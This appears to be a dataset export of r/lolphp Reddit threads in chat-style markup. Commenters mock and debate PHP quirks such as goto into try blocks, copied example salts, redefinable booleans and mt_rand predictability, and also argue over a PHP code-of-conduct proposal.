subreddit
stringclasses
7 values
author
stringlengths
3
20
id
stringlengths
5
7
content
stringlengths
67
30.4k
score
int64
0
140k
lolphp
barubary
c7j8j5s
<|sols|><|sot|>You can goto the try{} block from the catch block. Yes. That sounds like a good idea, let's do that.<|eot|><|sol|>http://phpmanualmasterpieces.tumblr.com/post/33091353115/the-documentation-clearly-says-raptors<|eol|><|sor|>You know, I hate a lot of PHP features, but I do legitimately get this one. Quite a few older languages (e.g., Smalltalk, Common Lisp, most implementations of Scheme exceptions, Dylan, and probably others) allow you to *resume the exception*. What this means is that, in addition to simply exiting the equivalent of the `catch` block, you can also return to the expression that threw the exception, either re-executing it, or returning from it with a custom value. Why would you want to do this, you ask? Well, for one example, it turns out it can actually be a really clean way to represent reading files that are generally structured, but occasionally have bad data, e.g. from an earlier, buggy version of the program. In this case, the main reading code is very clean, only expecting the perfect data format. The `catch` block, invoked on a bad data read, inspects the data stream, figures out the nature of the corruption, cleans it up according to a collection of rules ("in this version of the program, the size field was occasionally an extra byte long and little-endian, so a size of zero means read one more byte and return that instead"), and returns the cleaned-up data. As other examples, I've seen this used in network code to reconnect to the server and resume processing; in XML parsing code to handle bad markup with complicated heuristics, while keeping the main parser clean; in code that could be interrupted so that the interrupt could be cleanly handled and then action returned to the main body, if appropriate; and more. Should you make a habit of using `goto` in `try`/`catch` blocks? Hells no. Is there a sane reason to want to do it *sometimes*? In my opinion, yes.<|eor|><|sor|>I don't think you can compare Lisp-style error conditions and goto-into-try. The reason conditions are cleanly resumable in Lisp is that the whole call stack is still active when your catch block runs. When you throw an exception in PHP the stack is unwound until you enter an exception handler. A `goto` from there would re-enter the `try` block, not resume where you left off. To get something like Lisp conditions in PHP you'd have to make sure all `throw`s are lexically contained within the (single) `try` block. This completely defeats the point of cleanly separating processing from error handling code (using modular functions, nested `try`s at different levels, etc.).<|eor|><|eols|><|endoftext|>
6
lolphp
iopq
c8284or
<|sols|><|sot|>You can goto the try{} block from the catch block. Yes. That sounds like a good idea, let's do that.<|eot|><|sol|>http://phpmanualmasterpieces.tumblr.com/post/33091353115/the-documentation-clearly-says-raptors<|eol|><|sor|>To be fair, if you're using goto's you've officially forfeited the right to have managable and sensible code.<|eor|><|sor|>But that's wrong, there's valid uses for gotos: do a, if error go to a do b, if error go to b do c, if error go to c return; c: undo c b: undo b a: undo a this tries a, b, c and undoes all the changes if one of them fails. If c fails it undoes all three, if b fails it undoes the first two, if a fails it only undoes a<|eor|><|eols|><|endoftext|>
5
lolphp
weirdasianfaces
cn9xdn
<|sols|><|sot|>mb_check_encoding() will decode then re-encode the given string as the given encoding, then check for errors, instead of actually checking the character encoding<|eot|><|sol|>https://twitter.com/marcan42/status/1159002716867350531<|eol|><|eols|><|endoftext|>
44
lolphp
nikic
ew8a7zd
<|sols|><|sot|>mb_check_encoding() will decode then re-encode the given string as the given encoding, then check for errors, instead of actually checking the character encoding<|eot|><|sol|>https://twitter.com/marcan42/status/1159002716867350531<|eol|><|soopr|>I think this is the corresponding code in php-src: https://github.com/php/php-src/blob/49f848e957b59fd9043dd66049de7f8c9dbdb155/ext/mbstring/mbstring.c#L4673-L4695 The [documentation comments](https://www.php.net/manual/en/function.mb-check-encoding.php) also have people suggesting better, alternative methods of checking various encodings.<|eoopr|><|sor|>Based on the code, it does check whether the encoding has errors -- it just *additionally* checks whether it also round-trips, for some reason. This check was originally introduced in https://github.com/php/php-src/commit/501025306c4ff2ef83a00cfddc373727483889f1, but I can't say I understand why it was added.<|eor|><|eols|><|endoftext|>
16
lolphp
buroll
ew8vg89
<|sols|><|sot|>mb_check_encoding() will decode then re-encode the given string as the given encoding, then check for errors, instead of actually checking the character encoding<|eot|><|sol|>https://twitter.com/marcan42/status/1159002716867350531<|eol|><|sor|>Best reply on the tweet: It's alright, you can use mb_real_check_encoding() instead <|eor|><|eols|><|endoftext|>
15
lolphp
weirdasianfaces
ew865uw
<|sols|><|sot|>mb_check_encoding() will decode then re-encode the given string as the given encoding, then check for errors, instead of actually checking the character encoding<|eot|><|sol|>https://twitter.com/marcan42/status/1159002716867350531<|eol|><|soopr|>I think this is the corresponding code in php-src: https://github.com/php/php-src/blob/49f848e957b59fd9043dd66049de7f8c9dbdb155/ext/mbstring/mbstring.c#L4673-L4695 The [documentation comments](https://www.php.net/manual/en/function.mb-check-encoding.php) also have people suggesting better, alternative methods of checking various encodings.<|eoopr|><|eols|><|endoftext|>
9
lolphp
m1el
4h40cq
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|eols|><|endoftext|>
39
lolphp
berkes
d2n8sz6
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|sor|>A few are genuinly stupid. But the majority are unit tests, documentation and other tests. Where it make sense to use the same string as in the official API documentation.<|eor|><|eols|><|endoftext|>
30
lolphp
DoctorWaluigiTime
d2nhxoa
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|soopr|>Reason this is lolphp: people copy-pasting the code PHP documentation, making password hashing broken. php crypt: http://php.net/manual/en/function.crypt.php if (CRYPT_SHA256 == 1) { echo 'SHA-256: ' . crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$') . "\n"; }<|eoopr|><|sor|>Meh, documentation there clearly says "These salts are examples only, and should not be used verbatim in your code." Programmers' fault, not PHP's.<|eor|><|eols|><|endoftext|>
17
lolphp
shvelo
d2nkowo
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|sor|>>$crypt = crypt($password, '$2a$25$usesomesillystringforsalt$') . "<br>"; return $crypt; I love how it includes the <br><|eor|><|eols|><|endoftext|>
16
lolphp
m1el
d2n75hp
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|soopr|>Reason this is lolphp: people copy-pasting the code PHP documentation, making password hashing broken. php crypt: http://php.net/manual/en/function.crypt.php if (CRYPT_SHA256 == 1) { echo 'SHA-256: ' . crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$') . "\n"; }<|eoopr|><|eols|><|endoftext|>
15
lolphp
RichardEyre
d2o9tpw
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|sor|>A few are genuinly stupid. But the majority are unit tests, documentation and other tests. Where it make sense to use the same string as in the official API documentation.<|eor|><|sor|>And this issue is not at all exclusive to php. Some people will just go to great lengths to hate on php. The irony of course being one doesn't even need to look very far...<|eor|><|sor|>>not exclusive to php 7000+ instances of this in php code, almost no instances in other code. Hm.<|eor|><|sor|>[deleted]<|eor|><|sor|>Only because the search is for some specific string from the php manual though surely? If there's an equivalent example from other languages wouldn't that be reversed, with a lot of results from that language and nothing from php?<|eor|><|eols|><|endoftext|>
7
lolphp
berkes
d2oa4ky
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|sor|>A few are genuinly stupid. But the majority are unit tests, documentation and other tests. Where it make sense to use the same string as in the official API documentation.<|eor|><|sor|>And this issue is not at all exclusive to php. Some people will just go to great lengths to hate on php. The irony of course being one doesn't even need to look very far...<|eor|><|sor|>Pointing out that it is not exclusive to PHP. So, you agree it *is* a problem in PHP. Just because other communities have poor security practices does not excempt the PHP community from learning and improving. Another example. https://github.com/search?l=&q=%27put+your+unique+phrase+here%27&ref=advsearch&type=Code&utf8=%E2%9C%93 As you can see, a lot of dummy, sample and templates there. But some repo's who actually use that string for salt! Even if it is just one, that is too much. The problem here is not the language PHP. But the attitude of the community. First, having such templates that one should change, is a design mistake. Instead, e.g. wordpress should set these values NULL. And raise an exception when they are not set: forcing you to change them to something secure. This is what e.g. Rails does. And is very different from "we have a string there and you should really change that, but if you don't, well, we'll run the software anyway, just in a very insecure way". Second, your attitude of "others have poor security practices too" is all too common. the PHP community should strive to be the most secure platform and language around. This should be of paramount interest to all people involved. Anything less is mockery and deserves to be ridiculed. <|eor|><|eols|><|endoftext|>
6
lolphp
picklemanjaro
d2rjomz
<|sols|><|sot|>usesomesillystringforsalt<|eot|><|sol|>https://github.com/search?q=usesomesillystringforsalt&type=Code&utf8=%E2%9C%93<|eol|><|sor|>A few are genuinly stupid. But the majority are unit tests, documentation and other tests. Where it make sense to use the same string as in the official API documentation.<|eor|><|sor|>And this issue is not at all exclusive to php. Some people will just go to great lengths to hate on php. The irony of course being one doesn't even need to look very far...<|eor|><|sor|>>not exclusive to php 7000+ instances of this in php code, almost no instances in other code. Hm.<|eor|><|sor|>Why would someone using a language other than php copy a piece of code from the php docs?<|eor|><|sor|>Feel free to demonstrate the same issue in other languages.<|eor|><|sor|>Well, "same issue" meaning the literal issue with "usesomesillystringforsalt", or do you mean "Same issue" as in "placeholder values that shouldn't be in committed code"? https://github.com/search?utf8=%E2%9C%93&q=saltsalt&type=Code&ref=searchresults https://github.com/search?utf8=%E2%9C%93&q=passwordpassword&type=Code&ref=searchresults Because there are plenty of silly placeholder issues in a bunch of other languages. You just gotta find a silly enough string.<|eor|><|eols|><|endoftext|>
5
lolphp
gibranois
3zikur
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|eols|><|endoftext|>
43
lolphp
maweki
cymlql9
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>> what sort of jurisdiction would these **cultural gestapo** have? Yeah, tone of discussion seems already fine to me. No need for a CoC<|eor|><|eols|><|endoftext|>
31
lolphp
McGlockenshire
cymj2yr
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>What the hell happened in there? > This CoC doesn't create any more fairness in the process - it only codifies what many have privately feared. It expressly states that **radical feminism is now the enforced ideology of the PHP project**. And all those who disagree with this will be told to leave. Source: [a moderator, of course](https://archive.is/gdqMN)... Emphasis added but holy crap, *what*? e: [**THIS** is what happened](https://i.imgur.com/NqbFoqK.png). KiA brigading. Go RES tag the KiA mods and then load the thread...<|eor|><|eols|><|endoftext|>
31
lolphp
Jonny_Axehandle
cynbqy5
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Similar things have been said about Github's CoC, so i wouldn't see this specifically as a lolphp, even if crazy PHP developer opinions were lolphps in the first place. More of a loldevelopercommunity.<|eor|><|sor|>why is every programming community so awful<|eor|><|sor|>To be a programmer you must be a broken person.<|eor|><|eols|><|endoftext|>
29
lolphp
Schmittfried
cymm486
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Similar things have been said about Github's CoC, so i wouldn't see this specifically as a lolphp, even if crazy PHP developer opinions were lolphps in the first place. More of a loldevelopercommunity.<|eor|><|eols|><|endoftext|>
28
lolphp
MrJohz
cymu6o6
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>> what sort of jurisdiction would these **cultural gestapo** have? Yeah, tone of discussion seems already fine to me. No need for a CoC<|eor|><|sor|>This is what always gets me about this sort of stuff. If someone came to me with a CoC that I didn't entirely agree with, trying to be reasonable about it and pointing to issues that they felt concerned about, even if they didn't seem to understand all the details, my first reaction would not be to shout "cultural gestapo" at them until they shut up. That said, the best part of these sorts of discussions is the terminology, which tends to be an amalgamation of the catchiest political terms from Soviet Russia, Nazi Germany, and 1984. I also quite like the "power grab/hostile takeover" rhetoric. Plus you've got the one guy\* who actually used the word "sheeple" - and I think they might have been serious... \* or maybe a woman, I do not presume to judge, although if I were a betting man...<|eor|><|eols|><|endoftext|>
18
lolphp
the_alias_of_andrea
cyn3jtm
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Similar things have been said about Github's CoC, so i wouldn't see this specifically as a lolphp, even if crazy PHP developer opinions were lolphps in the first place. More of a loldevelopercommunity.<|eor|><|sor|>why is every programming community so awful<|eor|><|eols|><|endoftext|>
18
lolphp
tdammers
cyn7u1s
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Par for the course. Messy fucked-up language, messy fucked-up ecosystem, messy fucked-up community - what else would you expect?<|eor|><|sor|>Pioneers of a Code of conduct!<|eor|><|sor|>Pioneers of applying the PHP philosophy to social constructs. Works for me.<|eor|><|sor|>The same text is being used in several languages/frameworks https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/cym6l17 *Other languages* have their own version of a code of conduct. I'm not sure why do you think this is a PHP thing only.<|eor|><|sor|>It's not, but I find it typical that of all the examples out there, the PHP community manages to pick one of the most bloated, over-engineered, inconsistent and misguided one. Don't get me wrong, I'm all for diversity, and nothing aggravates me more than judging participants in any community for anything other than their contributions to said community. And I do understand the desire to formalize the rules by which a community tries to achieve that; however, I am also fairly sure that this is one of those soft social things where the programmer's approach of dissecting the problem into tiny chunks, formalizing them, and then putting them together through mechanical application of formal rules, is ridiculously inappropriate. There are codes of conduct out there that are perfectly reasonable; they are all very short, typically no more than six simple lines. Everything else is subject to human interpretation anyway, and the more you start engineering those rules, the more people will assume that everything written in them is to be taken literally. Which is the opposite of what you want in terms of community spirit.<|eor|><|sor|>Can you provide links to some of those other CoCs? Simple can be good, but short and vague can be worse than long-winded and vague. <|eor|><|sor|>The one from [Debian](https://www.debian.org/code_of_conduct) is pretty good IMO. You can read just the 6 bullet points, and you'll know enough to follow the rules, but if you want clarification, there's a short paragraph explaining the spirit of each. It strikes a sweet spot between "too verbose" and "too vague" IMO. More importantly though, it words things positively, explicitely allows (and even encourages) disagreement, and touches on diversity without making a big fuss about it.<|eor|><|eols|><|endoftext|>
11
lolphp
freebsdgirl
cypl789
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Similar things have been said about Github's CoC, so i wouldn't see this specifically as a lolphp, even if crazy PHP developer opinions were lolphps in the first place. More of a loldevelopercommunity.<|eor|><|sor|>why is every programming community so awful<|eor|><|sor|>Not a part of this community, so not really taking part in the conversation, just observing. But hi. I thought I'd share something that might make you feel better. The blame isn't really entirely on the php community. Ran some stats on the CoC thread - in python, sorry! [Welcome to the dogpile.](https://twitter.com/randileeharper/status/684924636388171777)<|eor|><|eols|><|endoftext|>
10
lolphp
tdammers
cymlyuz
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Par for the course. Messy fucked-up language, messy fucked-up ecosystem, messy fucked-up community - what else would you expect?<|eor|><|eols|><|endoftext|>
9
lolphp
the_alias_of_andrea
cynex9l
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>If /r/PHP is representative of the PHP community as a whole, they are in dire need of a code of conduct. But given the community, I doubt that they will be able to agree to one, let alone enforce it, without a lot of drama. All that, while the language suffers and become less relevant. The phrase "Re-arranging the deckchairs on Titanic" come to mind.<|eor|><|sor|>For all it's mocked, the PHP internals mailing list seems to generally be better by comparison. I think the CoC proposal has a chance. The problem is that, well, a CoC would only apply to stuff under the PHP Group's control. People who don't touch internals can't be dealt with.<|eor|><|sor|>> The problem is that, well, a CoC would only apply to stuff under the PHP Group's control. People who don't touch internals can't be dealt with. How is not being able to deal with everyone disheartening?<|eor|><|sor|>Because if you have toxic people in your community then they scare away valuable members.<|eor|><|eols|><|endoftext|>
9
lolphp
tdammers
cymvop0
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Par for the course. Messy fucked-up language, messy fucked-up ecosystem, messy fucked-up community - what else would you expect?<|eor|><|sor|>Pioneers of a Code of conduct!<|eor|><|sor|>Pioneers of applying the PHP philosophy to social constructs. Works for me.<|eor|><|sor|>The same text is being used in several languages/frameworks https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/cym6l17 *Other languages* have their own version of a code of conduct. I'm not sure why do you think this is a PHP thing only.<|eor|><|sor|>It's not, but I find it typical that of all the examples out there, the PHP community manages to pick one of the most bloated, over-engineered, inconsistent and misguided one. Don't get me wrong, I'm all for diversity, and nothing aggravates me more than judging participants in any community for anything other than their contributions to said community. And I do understand the desire to formalize the rules by which a community tries to achieve that; however, I am also fairly sure that this is one of those soft social things where the programmer's approach of dissecting the problem into tiny chunks, formalizing them, and then putting them together through mechanical application of formal rules, is ridiculously inappropriate. There are codes of conduct out there that are perfectly reasonable; they are all very short, typically no more than six simple lines. Everything else is subject to human interpretation anyway, and the more you start engineering those rules, the more people will assume that everything written in them is to be taken literally. Which is the opposite of what you want in terms of community spirit.<|eor|><|eols|><|endoftext|>
9
lolphp
ZiggyTheHamster
cyn5oqm
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>[removed]<|eor|><|sor|>Why in the everloving fuck do you care if a person's birth gender, gender identity, and/or gender expression differ? You're not having sex with them; it's none of your business what's in their pants. **This** is precisely why they need a code of conduct: it's not acceptable for you to ridicule someone because they're different. Andrea clearly prefers *feminine* pronouns. You would use *her*, *she*, *them*, but never *it* or *he*. Sincerely, A Straight Cisgender Man (that is, I am a man with a penis who is attracted to women)<|eor|><|eols|><|endoftext|>
8
lolphp
McGlockenshire
cypqv7c
<|sols|><|sot|>Grap your popcorns for a bit of PhpDrama (And hopefully a way for a lot more of it)<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3zhapd/rfc_adopt_code_of_conduct/<|eol|><|sor|>Similar things have been said about Github's CoC, so i wouldn't see this specifically as a lolphp, even if crazy PHP developer opinions were lolphps in the first place. More of a loldevelopercommunity.<|eor|><|sor|>why is every programming community so awful<|eor|><|sor|>Not a part of this community, so not really taking part in the conversation, just observing. But hi. I thought I'd share something that might make you feel better. The blame isn't really entirely on the php community. Ran some stats on the CoC thread - in python, sorry! [Welcome to the dogpile.](https://twitter.com/randileeharper/status/684924636388171777)<|eor|><|sor|>Be careful with grouping people into an expected mindset based on the subs they participate in. Just because I've made a few posts in TiA, for example, that doesn't mean that I'm one of "*them*." The things I post in don't reflect my subscriptions very well. Good data points, though. It's relieving to know it was a brigade. e: Ahahaha, brigaded by the fucking KiA mods. Man, I need to keep my RES tagging up to date, haven't added people to it en masse since the days of coontown. Sigh.<|eor|><|eols|><|endoftext|>
8
lolphp
gibranois
3ta3ql
<|sols|><|sot|>Strange DateTime behaviour in PHP<|eot|><|sol|>https://www.reddit.com/r/PHP/comments/3t5noq/strange_datetime_behaviour/<|eol|><|eols|><|endoftext|>
40
lolphp
terrorobe
2h9nhp
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|eols|><|endoftext|>
43
lolphp
idontlikethisname
ckqp2yo
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>This guy knows his compilers. Which makes me wonder why in hell he'd choose php for a time critical app.<|eor|><|eols|><|endoftext|>
19
lolphp
ioctl79
ckqvy65
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>WTB: Any profiling whatsoever. Don't be "clever" without measuring what it gets you. [Edit] It is also a joke that this tiny snippet of code apparently warrants a whole github project. Also, the REAL reason not to use recursion here is that, since PHP does not do tail-call optimization, it can consume an arbitrary amount of stack space, and PHP provides no way to recover from this (it just segfaults), or even find out what the limit is.<|eor|><|eols|><|endoftext|>
15
lolphp
dehrmann
ckr8u29
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>This guy knows his compilers. Which makes me wonder why in hell he'd choose php for a time critical app.<|eor|><|sor|>> This guy knows his compilers But he didn't seem to know that some opcodes are faster than others.<|eor|><|eols|><|endoftext|>
13
lolphp
urquan
ckr0d2x
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>I'm pretty sure that's a joke project.<|eor|><|eols|><|endoftext|>
9
lolphp
chazzeromus
ckqtv2g
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>This guy knows his compilers. Which makes me wonder why in hell he'd choose php for a time critical app.<|eor|><|sor|>Or maybe one day he was curious and tried out a whole bunch of loops and looked at the opcode emissions and surmised a fact from observation.<|eor|><|eols|><|endoftext|>
8
lolphp
ioctl79
ckrx93i
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>WTB: Any profiling whatsoever. Don't be "clever" without measuring what it gets you. [Edit] It is also a joke that this tiny snippet of code apparently warrants a whole github project. Also, the REAL reason not to use recursion here is that, since PHP does not do tail-call optimization, it can consume an arbitrary amount of stack space, and PHP provides no way to recover from this (it just segfaults), or even find out what the limit is.<|eor|><|sor|>Recursion might be overkill, but the two options here aren't recursion or a freaking goto.<|eor|><|sor|>Yup. He dismissed a reasonable loop because "lol too many opcodes."<|eor|><|eols|><|endoftext|>
7
lolphp
vita10gy
ckr9z1c
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>WTB: Any profiling whatsoever. Don't be "clever" without measuring what it gets you. [Edit] It is also a joke that this tiny snippet of code apparently warrants a whole github project. Also, the REAL reason not to use recursion here is that, since PHP does not do tail-call optimization, it can consume an arbitrary amount of stack space, and PHP provides no way to recover from this (it just segfaults), or even find out what the limit is.<|eor|><|sor|>Recursion might be overkill, but the two options here aren't recursion or a freaking goto.<|eor|><|eols|><|endoftext|>
6
lolphp
vita10gy
ckr9xtg
<|sols|><|sot|>Optimizing opcodes in a library targeted at operating with network latencies and timeouts<|eot|><|sol|>https://github.com/igorw/retry/issues/3<|eol|><|sor|>This guy knows his compilers. Which makes me wonder why in hell he'd choose php for a time critical app.<|eor|><|sor|>I don't think it is a time critical app, which is why the whole thing is so damn puzzling.<|eor|><|eols|><|endoftext|>
6
lolphp
aleczapka
1q1bw0
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|eoss|><|endoftext|>
39
lolphp
Serialk
cd85vjj
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>Redefining True and False are common in lots of languages (including Python 2 where True and False aren't tokens). The real lolphp here is that they're trying to prevent it and they beautifully fail.<|eor|><|eoss|><|endoftext|>
26
lolphp
ajmarks
cd86a9s
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>I also like that this yields TRUE != true<|eor|><|eoss|><|endoftext|>
12
lolphp
djsumdog
cd8h2zh
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>Redefining True and False are common in lots of languages (including Python 2 where True and False aren't tokens). The real lolphp here is that they're trying to prevent it and they beautifully fail.<|eor|><|sor|>Python 3 did reimplement True/False correctly so you can no longer reassign them, thereby altering something they didn't thing was designed correctly initially. I'm not sure if we'll see those same type of dramatic changes in say PHP6<|eor|><|eoss|><|endoftext|>
11
lolphp
Jonno_FTW
cd8s0o0
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>Redefining True and False are common in lots of languages (including Python 2 where True and False aren't tokens). The real lolphp here is that they're trying to prevent it and they beautifully fail.<|eor|><|sor|>Reminds of me Haskell's pattern matching that would let you do: let 2+2 = 5 in 2+2 <|eor|><|eoss|><|endoftext|>
6
lolphp
aleczapka
cd924b5
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>Reminds me of the joke were you redefine `true` and `false` using the C / M4 preprocessor, except this is built into the language... _<|eor|><|soopr|>Haha, I heard a story once where something like this was left by one of the interns: define('TRUE', FALSE) //debug this suckers<|eoopr|><|eoss|><|endoftext|>
5
lolphp
vytah
cd8u6wj
<|soss|><|sot|>Booleans can be changed within a namespace<|eot|><|sost|>This is hilarious: namespace Foo; define('Foo\\true', false); if (true) { echo "TRUE"; } else { echo "FALSE!!!"; } Example in action: http://3v4l.org/TpeZO<|eost|><|sor|>Redefining True and False are common in lots of languages (including Python 2 where True and False aren't tokens). The real lolphp here is that they're trying to prevent it and they beautifully fail.<|eor|><|sor|>Reminds of me Haskell's pattern matching that would let you do: let 2+2 = 5 in 2+2 <|eor|><|sor|>This only redefines `(+)` in the local context.<|eor|><|eoss|><|endoftext|>
5
lolphp
vytah
1pvf3h
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|eols|><|endoftext|>
39
lolphp
ajmarks
cd6grv5
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>From the manual: >This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead." So, no, this is not really news.<|eor|><|eols|><|endoftext|>
30
lolphp
abadidea
cd6ic2h
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>From the manual: >This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead." So, no, this is not really news.<|eor|><|sor|>Drupal uses this to generate passwords, as just one example. Don't take it as "not news". Take it as a great opportunity to make DANG SURE you're not using it in an unsafe context in any of your codebases. <|eor|><|eols|><|endoftext|>
19
lolphp
ajmarks
cd6il1e
<|sols|><|sot|>PHP's mt_rand() random number generating function has been cracked<|eot|><|sol|>http://www.openwall.com/lists/announce/2013/11/04/1<|eol|><|sor|>From the manual: >This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead." So, no, this is not really news.<|eor|><|sor|>Drupal uses this to generate passwords, as just one example. Don't take it as "not news". Take it as a great opportunity to make DANG SURE you're not using it in an unsafe context in any of your codebases. <|eor|><|sor|>hence the lolphp<|eor|><|sor|>More like loldrupal. This was included in php because it's a fast way to generate nonsecure pseudorandom numbers. There's a valid use for that. The fact that some idiots can't be bothered to read the documentation when it actually makes sense isn't lolphp, it's lolphpusers. There's enough actually wrong with php as is.<|eor|><|eols|><|endoftext|>
19
lolphp
suspiciously_calm
cd6pv56
